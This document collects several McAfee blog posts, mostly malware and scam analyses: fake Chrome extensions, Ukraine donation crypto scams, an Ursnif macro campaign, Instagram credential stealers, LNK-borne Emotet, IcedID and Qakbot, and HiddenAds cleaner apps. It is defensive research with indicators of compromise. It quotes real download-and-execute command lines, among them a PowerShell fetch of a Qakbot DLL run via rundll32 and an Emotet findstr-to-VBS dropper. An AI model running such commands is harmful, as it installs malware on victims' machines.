To remove a website’s notification permission, you need to change a Chrome setting. 

1- Find out the name of the website which is sending these notifications. This can be done by looking at the notification and noting down the name of the website. If we use this blog as an example, it would be premiumbros[.]com

2- Open the Chrome browser app which can be found by performing the following search: 

3- Click the three … on the top right hand of the application 

4- Scroll down and click on settings 

5- Click on Notifications 

6- Scroll down until you find the website which you identified in step 1 

7- Pres the blue radio button so it turns grey 

8- Notifications will now be disabled for that website. If you want to block multiple websites, click the radio button for them as well.  

How does McAfee Protect me? 

McAfee customers who have McAfee Mobile Security are protected against these malicious websites as long as they enable the ‘Safe Browsing’ feature within the application.  

Upon trying to access a malicious website such as the one in the blog it will be blocked as shown in the image below: 

 

Please read this guide on enabling the Safe Browsing feature within the Mobile Security Application. 

The post Why Am I Getting All These Notifications on my Phone? appeared first on McAfee Blog.

Authored by Oliver Devane, Vallabh Chole, and Aayush Tyagi 

McAfee has recently observed several malicious Chrome Extensions which, once installed, will redirect users to phishing sites, insert Affiliate IDs and modify legitimate websites to exfiltrate personally identifiable information (PII) data. According to the Google Extension Chrome Store, the combined install base is 100,000 

McAfee Labs has observed these extensions are prevalent in USA, Europe and India as we can observe in the heatmap below. 

The perpetrator targets over 1,400 domains, where 100 of them belong to the top 10,000 Alexa ranking including hbomax.com, hotels.com and expedia.com.

One extension, ‘Netflix Party’, mimics the original Netflix Party extension, which allows groups of people to watch Netflix shows at the same time. However, this version monitors all the websites you visit and performs several malicious activities.  

The malicious actor behind the extensions has created several Twitter accounts and fake review websites to deceive users into trusting and installing the extensions. 

The victim will be tricked into installing the extension and their data will be stolen when browsing a gift card site.  

The details of each step are as follows: 

1. The perpetrator creates malicious extensions and adds them to the Chrome Extension Store. They create fake websites to review the extensions and fake Twitter accounts to publicize them.  
2. A victim may perform a web or Twitter search for Netflix Party, read the review and click on a link that will lead them to the Google Chrome Store.  
3. They click to install the Extension and accept the permissions. 
4. The victim will either perform a web search or directly navigate to the gift card website. The Extension will identify the website and redirect them to the phishing page. 
5. The victim will enter their gift card information on the phishing page. 
6. The gift card information is posted to the server to which the malicious actor has access. They can now use or sell the stolen data and the victim will lose their funds. 

Technical Analysis 

This section contains the technical analysis of the malicious chrome extension “bncibciebfeopcomdaknelhcohiidaoe“. 

Manifest.json 

The manifest.json file contains the permissions of the extension. The ‘unsafe-eval’ permission in the ‘content_security_policy’ and the allowed use of content.js on any website visited by the user is of particular concern 

Background.js 

When the extension is installed, the background.js script will be loaded. This file uses a simple obfuscation technique of putting all the code on one line which makes it difficult to read. This is easily cleaned up by using a code beautifier and the image below shows the obfuscated script on the first line and the cleaned-up code below the red arrow.  

This script accesses https://accessdashboard[.]live to download a script and store it as variable ‘code’ in Chrome’s local storage. This stored variable is then referenced in the content.js script, which is executed on every visited website.  

Content.js 

After beautification, we see the code will read the malicious script from the ‘code’ variable which was previously stored. 

‘Code’  

The malicious code has three main functions, redirection for phishing, modifying of cookies to add AffiliateIDs, and modifying of website code to add chat windows.  

Redirection for Phishing 

Redirection for phishing works by checking if the URL being accessed matches a list, and conditionally redirects to a malicious IP that hosts the phishing site.  

URLs monitored are: 

• https[:]//www.target.com/guest/gift-card-balance 
• https[:]//www.macys.com/account/giftcardbalance 
• https[:]//www.nike.com/orders/gift-card-lookup 
• https[:]//www.nordstrom.com/nordstrom-gift-cards 
• https[:]//www.sephora.com/beauty/giftcards 
• https[:]//www.sephoragiftcardbalance.com 
• https[:]//balance.amexgiftcard.com 
• https[:]//prepaidbalance.americanexpress.com/GPTHBIWeb/validateIPAction.do?clientkey=retail%20sales%20channel 
• https[:]//amexprepaidcard.com 
• [:]//secure4.store.apple.com/shop/giftcard/balance 

Upon navigating to one of the above sites, the user will be redirected to 164[.]90[.]144[.]88. An observant user would notice that the URL would have changed to an IP address, but some users may not. 

The image below shows the Apple Phishing site and the various phishing kits being hosted on this server. 

The phishing sites share similar codes. If a user enters their gift card information, the data will be posted to 52.8.106.52. A network capture of the post request is shown below: 

Modifying of cookies to add AffiliateIDs 

The second malicious function contains AIPStore which is a dictionary containing a list of URLs and their respective monetizing sites which provide affiliate IDs. This function works by loading new tabs which will result in cookies being set on the visited sites. The flow below describes how the extension will work. 

1. A user navigates to a retail website 
2. If the retail website is contained in the AIPStore keymap, the extension will load a new tab with a link to a monetizing site which sets the cookie with the affiliate ID. The new tab is then closed, and the cookie will persist.  
3. The user will be unaware that a cookie would have been set and they will continue to browse the website. 
4. Upon purchasing any goods, the Affiliate ID will be recognized by the site vendor and commission will be sent to the Affiliate ID owner which would be the Malicious Actor 

The left image below shows the original site with no affiliate cookie, the one on the right highlights the cookie that has been added by the extension. 

Chat Windows 

The final function checks a list of URLs being accessed and if they match, a JS script will be injected into the HTML code which will result in a chat window being displayed. The image below shows the injected script and the chat window. 

The chat window may be used by the malicious actor to request PII data, credit card, and product key information. 

Conclusion 

This threat is a good example of the lengths malicious actors will go to trick users into installing malware such as creating Twitter accounts and fake review websites.  

McAfee advises its customers to be cautious when installing Chrome Extensions and pay attention to the permissions that they are requesting.  

The permissions will be shown by Chrome before the installation of the Extension. Customers should take extra steps to verify the authenticity if the extension is requesting permissions that enable it to run on every website you visit such as the one detailed in this blog 

McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee WebAdvisor as shown below.  

The Malicious code within the extension is detected as Phish-Extension. Please perform a ‘Full’ scan via the product. 

Type	Value	Product	Detected
URL – Phishing Sites	164.90.141.88/*	McAfee WebAdvisor	Blocked
Chrome Extension	netflix-party – bncibciebfeopcomdaknelhcohiidaoe	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	teleparty – flddpiffdlibegmclipfcnmaibecaobi	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	hbo-max-watch-party – dkdjiiihnadmgmmfobidmmegidmmjobi	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	prime-watch-party – hhllgokdpekfchhhiknedpppjhgicfgg	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	private-watch-party – maolinhbkonpckjldhnocgilkabpfodc	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	hotstar-ad-blocker – hacogolfhplehfdeknkjnlblnghglfbp	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	hbo-ad-blocker – cbchmocclikhalhkckeiofpboloaakim	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	blocksite – pfhjfcifolioiddfgicgkapbkfndaodc	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	hbo-enhanced – pkdpclgpnnfhpapcnffgjbplfbmoejbj	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	hulu-watch-party – hkanhigmilpgifamljmnfppnllckkpda	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	disney-plus-watch-party – flapondhpgmggemifmemcmicjodpmkjb	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	spotify-ad-blocker – jgofflaejgklikbnoefbfmhfohlnockd	Total Protection and LiveSafe	Phish-Extension
Chrome Extension	ott-party – lldibibpehfomjljogedjhaldedlmfck	Total Protection and LiveSafe	Phish-Extension

 

 

The post Imposter Netflix Chrome Extension Dupes 100k Users appeared first on McAfee Blog.

Authored by Vallabh Chole and Oliver Devane

Scammers are very quick at reacting to current events, so they can generate ill-gotten gains. It comes as no surprise that they exploited the current events in Ukraine, and when the Ukrainian Twitter account tweeted Bitcoin and Ethereum wallet addresses for donations we knew that scammers would use this as a lure for their victims.

This blog covers some of the malicious sites and emails McAfee has observed in the past few weeks.

Crypto wallet donation scams

A crypto donation scam occurs when perpetrators create phishing websites and emails that contain cryptocurrency wallets asking for donations. We have observed several new domains being created which perform this malicious activity, such as ukrainehelp[.]world and ukrainethereum[.]com.

Ukrainhelp[.]world

Below is a screenshot of Ukrainehelp[.]world, which is a phishing site asking for crypto donations for UNICEF. The website contains the BBC logo and several crypto wallet addresses.

While investigating this site, we observed that the Ethereum wallet used use was also associated with an older crypto scam site called eth-event20.com. The image below shows the current value of the crypto wallet which is worth $114,000. Interestingly this wallet transfers all its coins to 0xc95eb2aa75260781627e7171c679a490e2240070 which in turn transfers to 0x45fb09468b17d14d2b9952bc9dcb39ee7359e64d. The final wallet currently has 313 ETH which is worth over $850,000. This shows the large sums of money scammers can generate with phishing sites.

Ukrainethereum[.]com

Ukrainethereum[.]com is another crypto scam site, but what makes this one interesting is the features it contains to gain the victim’s confidence in trusting the website such as a fake chatbox and a fake donation verifier.

Fake Chat

The image above shows the chatbox on the left-hand side which displays several messages. At first glance, it would appear as if other users are on the website and talking, but when you reload the site it shows the same messages. This is due to the chat messages being displayed from a list that is used to populate the website with JavaScript code as shown on the right-hand side.  

Fake Donation Verifier 

The site contains a donation checker so the victim can see if their donation was received, as shown below. 

 

1. The first image on left shows the verification box for donation to check if it is completed or not 
2. Upon clicking ‘Check’ the victim is shown a message to say the donation was received.  
3. What occurs, is upon clicking ‘Check’ the JavaScript code changes the website code so that it displays the ‘Thanks!’ message, and no actual check is performed. 

Phishing Email 

The following image shows one of the examples of phish emails we have observed. 

The email is not addressed to anyone specifically as they are mass-mailed to multiple email addresses. The wallet IDs in the email are not associated with the official Ukraine Twitter and are owned by scammers. As you can see in the image above, they are similar as the first 3 characters are the same. This could lead to some users believing it is legitimate. Therefore, it’s important to check that the wallet address is identical.  

Credit Card Information Stealer 

This is the most common type of phishing website. The goal of these sites it entices the victim into entering their credit card and personally identifiable information (PII) data by making them believe that the site being visited is official. This section contains details on one such website we have found using Ukraine donations as a lure.  

Razonforukrain[.]com 

The image below shows the phishing site. The website was used to save the children’s NGO links and images, which made it appear more genuine. You can see that is it asking the victim to enter their credit card and billing information.  

Once the data is entered, and the victim clicks on ‘Donate’, the information will be submitted via the form and will be sent to scammers so they can then use or sell the information. 

We observed that a few days after the website was created, the scammers change the site code so that it became a Mcdonald’s phishing site targeting the Arab Emirates. This was a surprising change in tactics. 

The heatmap below shows the detections McAfee has observed around the world for the malicious sites mentioned in this blog. 

Conclusion 

How to identify a phishing email? 

• Look for the domain from where you received mail, attackers masquerade it. 
• Use McAfee Web Advisor as this prevents you from accessing malicious sites 
• If McAfee Web Advisor is not used, links can be manually checked at https://trustedsource.org/. 
• Perform a Web Search of any crypto wallet addresses. If the search returns no or a low number of hits it is likely fraudulent. 
• Check for poor grammar and suspicious logos  
• For more detailed advice please visit McAfee’s How to recognize and protect yourself from phishing page 

How to identify phishing websites? 

• Use McAfee Web Advisor as this prevents you from accessing malicious sites 
• Look at the URL of the website which you are visiting and make sure it is correct. Look for alterations such as logln-paypal.com instead of login.paypal.com 
• If you are unsure that the website is legitimate. Perform a Web search of the URL. You will find many results If they are genuine. If the search returns no or a low number of hits it is likely fraudulent 
• Hyperlinks and site addresses that do not match the sender – Hover your mouse over the hyperlink or call-to-action button in the email. Is the address shortened or is it different from what you would expect from the sender? It may be a spoofed address from the 
• Verify if the URL and Title of the page match. Such as the website, razonforukraine[.]com with a title reading “McDonald’s Delivery” 

For general cyber scam, education click here

McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor 

 

Type	Value	Product	Detected
URL – Phishing Sites	ukrainehelp[.]world	McAfee WebAdvisor	Blocked
URL – Phishing Sites	ukrainethereum[.]com	McAfee WebAdvisor	Blocked
URL – Phishing Sites	unitedhelpukraine[.]kiev[.]ua/	McAfee WebAdvisor	Blocked
URL – Phishing Sites	donationukraine[.]io/donate	McAfee WebAdvisor	Blocked
URL – Phishing Sites	help-ukraine-compaign[.]com/shop	McAfee WebAdvisor	Blocked
URL – Phishing Sites	ukrainebitcoin[.]online/	McAfee WebAdvisor	Blocked
URL – Phishing Sites	ukrainedonation[.]org/donate	McAfee WebAdvisor	Blocked
URL – Phishing Sites	ukrainewar[.]support	McAfee WebAdvisor	Blocked
URL – Phishing Sites	sendhelptoukraine[.]com	McAfee WebAdvisor	Blocked
URL – Phishing Sites	worldsupportukraine[.]com	McAfee WebAdvisor	Blocked
URL – Phishing Sites	paytoukraine[.]space	McAfee WebAdvisor	Blocked
URL – Phishing Sites	razonforukraine[.]com	McAfee WebAdvisor	Blocked

 

The post Scammers are Exploiting Ukraine Donations appeared first on McAfee Blog.

Authored by Jyothi Naveen and Kiran Raj

McAfee Labs have been observing a spike in phishing campaigns that utilize Microsoft office macro capabilities. These malicious documents reach victims via mass spam E-mail campaigns and generally invoke urgency, fear, or similar emotions, leading unsuspecting users to promptly open them. The purpose of these spam operations is to deliver malicious payloads to as many people as possible.

A recent spam campaign was using malicious word documents to download and execute the Ursnif trojan. Ursnif is a high-risk trojan designed to record various sensitive information. It typically archives this sensitive data and sends it back to a command-and-control server.

This blog describes how attackers use document properties and a few other techniques to download and execute the Ursnif trojan.

Threat Summary

• The initial attack vector is a phishing email with a Microsoft Word document attachment.
• Upon opening the document, VBA executes a malicious shellcode
• Shellcode downloads the remote payload, Ursnif, and invokes rundll32.exe to execute it.

Infection Chain

The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, Word downloads a DLL (Ursnif payload). The Ursnif payload is then executed using rundll32.exe

Word Analysis

Macros are disabled by default and the malware authors are aware of this and hence present an image to entice the victims into enabling them.

VBA Macro Analysis of Word Document

Analyzing the sample statically with ‘oleId’ and ‘olevba’ indicates the suspicious vectors..

The VBA Macro is compatible with x32 and x64 architectures and is highly obfuscated as seen in Figure-5

To get a better understanding of the functionality, we have de-obfuscated the contents in the 2 figures shown below.

An interesting characteristic of this sample is that some of the strings like CLSID, URL for downloading Ursnif, and environment variables names are stored in custom document properties in reverse. As shown in Figure-7, VBA function “ActiveDocument.CustomDocumentProperties()” is used to retrieve the properties and uses “StrReverse” to reverse the contents. 

We can see the document properties in Figure-8  

Payload Download and Execution: 

The malicious macro retrieves hidden shellcode from a custom property named “Company” using the “cdec” function that converts the shellcode from string to decimal/hex value and executes it. The shellcode is shown below. 

The shellcode is written to memory and the access protection is changed to PAGE_EXECUTE_READWRITE. 

After adding the shellcode in memory, the environment variable containing the malicious URL of Ursnif payload is created. This Environment variable will be later used by the shellcode. 

The shellcode is executed with the use of the SetTimer API. SetTimer creates a timer with the specified time-out value mentioned and notifies a function when the time is elapsed. The 4th parameter used to call SetTimer is the pointer to the shellcode in memory which will be invoked when the mentioned time is elapsed. 

The shellcode downloads the file from the URL stored in the environmental variable and stores it as ” y9C4A.tmp.dll ” and executes it with rundll32.exe. 

URL	hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/
CMD	rundll32 “C:\Users\user\AppData\Local\Temp\y9C4A.tmp.dll”,DllRegisterServer

After successful execution of the shellcode, the environment variable is removed. 

IOC 

TYPE	VALUE	PRODUCT	DETECTION NAME
Main Word Document	6cf97570d317b42ef8bfd4ee4df21d217d5f27b73ff236049d70c37c5337909f	McAfee LiveSafe and Total Protection	X97M/Downloader.CJG
Downloaded dll	41ae907a2bb73794bb2cff40b429e62305847a3e1a95f188b596f1cf925c4547	McAfee LiveSafe and Total Protection	Ursnif-FULJ
URL to download dll	hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/	WebAdvisor	Blocked

MITRE Attack Framework 

Technique ID	Tactic	Technique Details	Description
T1566.001	Initial Access	Spear phishing Attachment	Manual execution by user
T1059.005	Execution	Visual Basic	Malicious VBA macros
T1218.011	Defense Evasion	Signed binary abuse	Rundll32.exe is used
T1027	Defense Evasion	Obfuscation techniques	VBA and powershell base64 executions
T1086	Execution	Powershell execution	PowerShell command abuse

 Conclusion 

Macros are disabled by default in Microsoft Office applications, we suggest keeping it that way unless the document is received from a trusted source. The infection chain discussed in the blog is not limited to Word or Excel. Further threats may use other live-off-the-land tools to download its payloads.  

McAfee customers are protected against the malicious files and sites detailed in this blog with McAfee LiveSafe/Total Protection and McAfee Web Advisor. 

The post Phishing Campaigns featuring Ursnif Trojan on the Rise appeared first on McAfee Blog.

Authored by Dexter Shin 

McAfee’s Mobile Research Team introduced a new Android malware targeting Instagram users who want to increase their followers or likes in the last post. As we researched more about this threat, we found another malware type that uses different technical methods to steal user’s credentials. The target is users who are not satisfied with the default functions provided by Instagram. Various Instagram modification application already exists for those users on the Internet. The new malware we found pretends to be a popular mod app and steals Instagram credentials. 

Behavior analysis 

Instander is one of the famous Instagram modification applications available for Android devices to help Instagram users access extra helpful features. The mod app supports uploading high-quality images and downloading posted photos and videos. 

The initial screens of this malware and Instander are similar, as shown below. 

Figure 1. Instander legitimate app(Left) and Mmalware(Right) 

Next, this malware requests an account (username or email) and password. Finally, this malware displays an error message regardless of whether the login information is correct. 

Figure 2. Malware requests account and password 

The malware steals the user’s username and password in a very unique way. The main trick is to use the Firebase API. First, the user input value is combined with [email protected]. This value and static password(=kamalw20051) are then sent via the Firebase API, createUserWithEmailAndPassword. And next, the password process is the same. After receiving the user’s account and password input, this malware will request it twice. 

Since we cannot see the dashboard of the malware author, we tested it using the same API. As a result, we checked the user input value in plain text on the dashboard. 

According to the Firebase document, createUserWithEmailAndPassword API is to create a new user account associated with the specified email address and password. Because the first parameter is defined as email patterns, the malware author uses the above code to create email patterns regardless of user input values. 

It is an API for creating accounts in the Firebase so that the administrator can check the account name in the Firebase dashboard. The victim’s account and password have been requested as Firebase account name, so it should be seen as plain text without hashing or masking. 

Network traffic 

As an interesting point on the network traffic of the malware, this malware communicates with the Firebase server in Protobuf format in the network. The initial configuration of this Firebase API uses the JSON format. Although the Protobuf format is readable enough, it can be assumed that this malware author intentionally attempts to obfuscate the network traffic through the additional settings. Also, the domain used for data transfer(=www.googleapis.com) is managed by Google. Because it is a domain that is too common and not dangerous, many network filtering and firewall solutions do not detect it. 

Conclusion 

As mentioned, users should always be careful about installing 3rd party apps. Aside from the types of malware we’ve introduced so far, attackers are trying to steal users’ credentials in a variety of ways. Therefore, you should employ security software on your mobile devices and always keep up to date. 

Fortunately, McAfee Mobile Security is able to detect this as Android/InstaStealer and protect you from similar threats. For more information visit  McAfee Mobile Security 

Indicators of Compromise 

SHA256: 

• 238a040fc53ba1f27c77943be88167d23ed502495fd83f501004356efdc22a39 

The post Instagram credentials Stealer: Disguised as Mod App appeared first on McAfee Blog.

Authored by Dexter Shin 

Instagram has become a platform with over a billion monthly active users. Many of Instagram’s users are looking to increase their follower numbers, as this has become a symbol of a person’s popularity.  Instagram’s large user base has not gone unnoticed to cybercriminals. McAfee’s Mobile Research Team recently found new Android malware disguised in an app to increase Instagram followers. 

How can you increase your followers or likes? 

You can easily find apps on the internet that increase the number of Instagram followers. Some of these apps require both a user account and a password. Other types of apps only need the user to input their user account. But are these apps safe to use? 

Many YouTubers explain how to use these apps with tutorial videos. They log into the app with their own account and show that the number of followers is increasing. Among the many videos, the domain that appears repeatedly was identified. 

The way the domain introduces is very simple. 

1. Log in with user account and password. 
2. Check credentials via Instagram API. 
3. After logging in, the user can enjoy many features provided by the app. (free followers, free likes, unlimited comments, etc.) 
4. In the case of free followers, the user needs to input how many followers they want to gain.  

When you run the function, you can see that the number of followers increases every few seconds. 

How does this malware spread? 

Some Telegram channels are promoting YouTube videos with domain links to the malware. 

We have also observed a video from a famous YouTuber with over 190,000 subscribers promoting a malicious app. However, in the video, we found some concerning comments with people complaining that their credentials were being stolen. 

Behavior Analysis in Malware 

We analyzed the application that is being promoted by the domain. The hidden malware does not require many permissions and therefore does not appear to be harmful. When users launch the app, they can only see the below website via the Android Webview.  

After inspecting the app, we observe the initial code does not contain many features. After showing an advertisement, it will immediately show the malicious website. Malicious activities are performed at the website’s backend rather than within the Android app. 

The website says that your transactions are carried out using the Instagram API system with your username and password. It is secure because they use the user’s credentials via Instagram’s official server, not their remote server. 

Contrary to many people’s expectations, we received abnormal login attempts from Turkey a few minutes after using the app. The device logged into the account was not an Instagram server but a personal device model of Huawei as LON-L29. 

As shown above, they don’t use an Instagram API. In addition, as you request followers, the number of the following also increases. In other words, the credentials you provided are used to increase the number of followers of other requesters. Everyone who uses this app has a relationship with each other. Moreover, they will store and use your credentials in their database without your acknowledgement. 

How many users are affected? 

The languages of most communication channels were English, Portuguese, and Hindi. Especially, Hindi was the most common, and most videos had more than 100 views. In the case of a famous YouTuber’s video, they have recorded more than 2,400 views. In addition, our test account had 400 followers in one day. It means that at least 400 users have sent credentials to the malware author. 

Conclusion 

As we mentioned in the opening remarks, many Instagram users want to increase their followers and likes. Unfortunately, attackers are also aware of the desires of these users and use that to attack them. 

Therefore, users who want to install these apps should consider that their credentials may be leaked. In addition, there may be secondary attacks such as credential stuffing (=use of a stolen username and password pairs on another website). Aside from the above cases, there are many unanalyzed similar apps on the Internet. You shouldn’t use suspicious apps to get followers and likes. 

McAfee Mobile Security detects this threat as Android/InstaStealer and protects you from this malware. For more information, visit McAfee Mobile Security. 

Indicators of Compromise 

SHA256: 

• e292fe54dc15091723aba17abd9b73f647c2d24bba2a671160f02bdd8698ade2 

• 6f032baa1a6f002fe0d6cf9cecdf7723884c635046efe829bfdf6780472d3907 

Domains: 

• https[://]insfreefollower.com 

The post Instagram credentials Stealers: Free Followers or Free Likes appeared first on McAfee Blog.

Authored by Lakshya Mathur

An LNK file is a Windows Shortcut that serves as a pointer to open a file, folder, or application. LNK files are based on the Shell Link binary file format, which holds information used to access another data object. These files can be created manually using the standard right-click create shortcut option or sometimes they are created automatically while running an application. There are many tools also available to build LNK files, also many people have built “lnkbombs” tools specifically for malicious purposes.

During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK, and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc.

In this blog, we will see how LNK files are being used to deliver malware such as Emotet, Qakbot, and IcedID.

Below is a screenshot of how these shortcut files look to a normal user.

LNK THREAT ANALYSIS & CAMPAIGNS

With Microsoft disabling office macros by default malware actors are now enhancing their lure techniques including exploiting LNK files to achieve their goals.

Threat actors are using email spam and malicious URLs to deliver LNK files to victims. These files instruct legitimate applications like PowerShell, CMD, and MSHTA to download malicious files.

We will go through three recent malware campaigns Emotet, IcedID, and Qakbot to see how dangerous these files can be.

 

EMOTET

Infection-Chain

Threat Analysis

In Figure 4 we can see the lure message and attached malicious LNK file.

The user is infected by manually accessing the attached LNK file. To dig a little deeper, we see the properties of the LNK file:

As seen in Figure 5 the target part reveals that LNK invokes the Windows Command Processor (cmd.exe). The target path as seen in the properties is only visible to 255 characters. However, command-line arguments can be up to 4096, so malicious actors can that this advantage and pass on long arguments as they will be not visible in the properties.

In our case the argument is /v:on /c findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%\YlScZcZKeP.vbs” & “%tmp%\YlScZcZKeP.vbs”

Once the findstr.exe utility receives the mentioned string, the rest of the content of the LNK file is saved in a .VBS file under the %temp% folder with the random name YIScZcZKeP.vbs

The next part of the cmd.exe command invokes the VBS file using the Windows Script Host (wscript.exe) to download the main Emotet 64-bit DLL payload.

The downloaded DLL is then finally executed using the REGSVR32.EXE utility which is similar behavior to the excel(.xls) based version of the emotet.

ICEDID

Infection-Chain

Threat Analysis

This attack is a perfect example of how attackers chain LNK, PowerShell, and MSHTA utilities target their victims.

Here, PowerShell LNK has a highly obfuscated parameter which can be seen in Figure 8 target part of the LNK properties

The parameter is exceptionally long and is not fully visible in the target part. The whole obfuscated argument is decrypted at run-time and then executes MSHTA with argument hxxps://hectorcalle[.]com/093789.hta.

The downloaded HTA file invokes another PowerShell that has a similar obfuscated parameter, but this connects to Uri hxxps://hectorcalle[.]com/listbul.exe

The Uri downloads the IcedID installer 64-bit EXE payload under the %HOME% folder.

QAKBOT

Infection-Chain

Threat Analysis

This attack will show us how attackers can directly hardcode malicious URLs to run along with utilities like PowerShell and download main threat payloads.

In Figure 10 the full target part argument is “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile $env:TEMP\test.dll;Start-Process rundll32.exe $env:TEMP\test.dll,jhbvygftr”

When this PowerShell LNK is invoked, it connects to hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png using the Invoke-WebRequest command and the download file is saved under the %temp% folder with the name test.dll

This is the main Qakbot DLL payload which is then executed using the rundll32 utility.

CONCLUSION

As we saw in the above three threat campaigns, it is understood that attackers abuse the windows shortcut LNK files and made them to be extremely dangerous to the common users. LNK combined with PowerShell, CMD, MSHTA, etc., can do severe damage to the victim’s machine. Malicious LNKs are generally seen to be using PowerShell and CMD by which they can connect to malicious URLs to download malicious payloads.

We covered just three of the threat families here, but these files have been seen using other windows utilities to deliver diverse types of malicious payloads. These types of attacks are still evolving, so every user must give a thorough check while using LNK shortcut files. Consumers must keep their Operating system and Anti-Virus up to date. They should beware of phishing mail and clicking on malicious links and attachments.

IOC (Indicators of Compromise)

Type	SHA-256	Scanner
Emotet LNK	02eccb041972825d51b71e88450b094cf692b9f5f46f5101ab3f2210e2e1fe71	WSS	LNK/Emotet-FSE
IcedID LNK	24ee20d7f254e1e327ecd755848b8b72cd5e6273cf434c3a520f780d5a098ac9	WSS	LNK/Agent-FTA Suspicious ZIP!lnk
Qakbot LNK	b5d5464d4c2b231b11b594ce8500796f8946f1b3a10741593c7b872754c2b172	WSS	LNK/Agent-TSR
URLs (Uniform Resource Locator)	hxxps://creemo[.]pl/wp-admin/ZKS1DcdquUT4Bb8Kb/ hxxp://filmmogzivota[.]rs/SpryAssets/gDR/ hxxp://demo34.ckg[.]hk/service/hhMZrfC7Mnm9JD/ hxxp://focusmedica[.]in/fmlib/IxBABMh0I2cLM3qq1GVv/ hxxp://cipro[.]mx/prensa/siZP69rBFmibDvuTP1/ hxxps://hectorcalle[.]com/093789.hta hxxps://hectorcalle[.]com/listbul.exe hxxps://green-a-thon[.]com/LosZkUvr/B.png	WebAdvisor	All URLs Blocked

 

The post Rise of LNK (Shortcut files) Malware appeared first on McAfee Blog.

Authored by Dexter Shin

McAfee’s Mobile Research Team has identified new malware on the Google Play Store. Most of them are disguising themselves as cleaner apps that delete junk files or help optimize their batteries for device management. However, this malware hides and continuously show advertisements to victims. In addition, they run malicious services automatically upon installation without executing the app.

HiddenAds functions and promotion

They exist on Google Play even though they have malicious activities, so the victim can search for the following apps to optimize their device.

Users may generally think installing the app without executing it is safe. But you may have to change your mind because of this malware. When you install this malware on your device, it is executed without interaction and executes a malicious service.

In addition, they try to hide themselves to prevent users from noticing and deleting apps. Change their icon to a Google Play icon that users are familiar with and change its name to ‘Google Play’ or ‘Setting.’

Automatically executed services constantly display advertisements to victims in a variety of ways.

These services also induce users to run an app when they install, uninstall, or update apps on their devices.

To promote these apps to new users, the malware authors created advertising pages on Facebook. Because it is the link to Google Play distributed through legitimate social media, users will download it without a doubt.

How it works

This malware uses the Contact Provider. The Contact Provider is the source of data you see in the device’s contacts application, and you can also access its data in your own application and transfer data between the device and online services. For this, Google provides ContactsContract class. ContactsContract is the contract between the Contacts Provider and applications. In ContactsContract, there is a class called Directory. A Directory represents a contacts corpus and is implemented as a Content Provider with its unique authority. So, developers can use it if they want to implement a custom directory. The Contact Provider can recognize that the app is using a custom directory by checking special metadata in the manifest file.

The important thing is the Contact Provider automatically interrogates newly installed or replaced packages. Thus, installing a package containing special metadata will always call the Contact Provider automatically.

The first activity defined in the application tag in the manifest file is executed as soon as you install it just by declaring the metadata. The first activity of this malware will create a permanent malicious service for displaying advertisements.

In addition, the service process will generate immediately even if it is forced to kill.

Next, they change their icons and names using the <activity-alias> tag to hide.

Users infected worldwide

It is confirmed that users have already installed these apps from 100K to 1M+. Considering that the malware works when it is installed, the installed number is reflected as the victim’s number. According to McAfee telemetry data, this malware and its variants affect a wide range of countries, including South Korea, Japan, and Brazil:

Conclusion

This malware is auto-starting malware, so as soon as the users download it from Google Play, they are infected immediately. And it is still constantly developing variants that are published by different developer accounts. Therefore, it is not easy for users to notice this type of malware.

We already disclosed this threat to Google and all reported applications were removed from the Play Store. Also, McAfee Mobile Security detects this threat as Android/HiddenAds and protects you from this type of malware. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com

Indicators of Compromise

Applications:

App Name	Package Name	Downloads
Junk Cleaner	cn.junk.clean.plp	1M+
EasyCleaner	com.easy.clean.ipz	100K+
Power Doctor	com.power.doctor.mnb	500K+
Super Clean	com.super.clean.zaz	500K+
Full Clean -Clean Cache	org.stemp.fll.clean	1M+
Fingertip Cleaner	com.fingertip.clean.cvb	500K+
Quick Cleaner	org.qck.cle.oyo	1M+
Keep Clean	org.clean.sys.lunch	1M+
Windy Clean	in.phone.clean.www	500K+
Carpet Clean	og.crp.cln.zda	100K+
Cool Clean	syn.clean.cool.zbc	500K+
Strong Clean	in.memory.sys.clean	500K+
Meteor Clean	org.ssl.wind.clean	100K+

 

SHA256:

• 4b9a5de6f8d919a6c534bc8595826b9948e555b12bc0e12bbcf0099069e7df90
• 4d8472f0f60d433ffa8e90cc42f642dcb6509166cfff94472a3c1d7dcc814227
• 5ca2004cfd2b3080ac4958185323573a391dafa75f77246a00f7d0f3b42a4ca3
• 5f54177a293f9678797e831e76fd0336b0c3a4154dd0b2175f46c5a6f5782e24
• 7a502695e1cab885aee1a452cd29ce67bb1a92b37eed53d4f2f77de0ab93df9b
• 64d8bd033b4fc7e4f7fd747b2e35bce83527aa5d6396aab49c37f1ac238af4bd
• 97bd1c98ddf5b59a765ba662d72e933baab0a3310c4cdbc50791a9fe9881c775
• 268a98f359f2d56497be63a31b172bfbdc599316fb7dec086a937765af42176f
• 690d658acb9022765e1cf034306a1547847ca4adc0d48ac8a9bbdf1e6351c0f7
• 75259246f2b9f2d5b1da9e35cab254f71d82169809e5793ee9c0523f6fc19e4b
• a5cbead4c9868f83dd9b4dc49ca6baedffc841772e081a4334efc005d3a87314
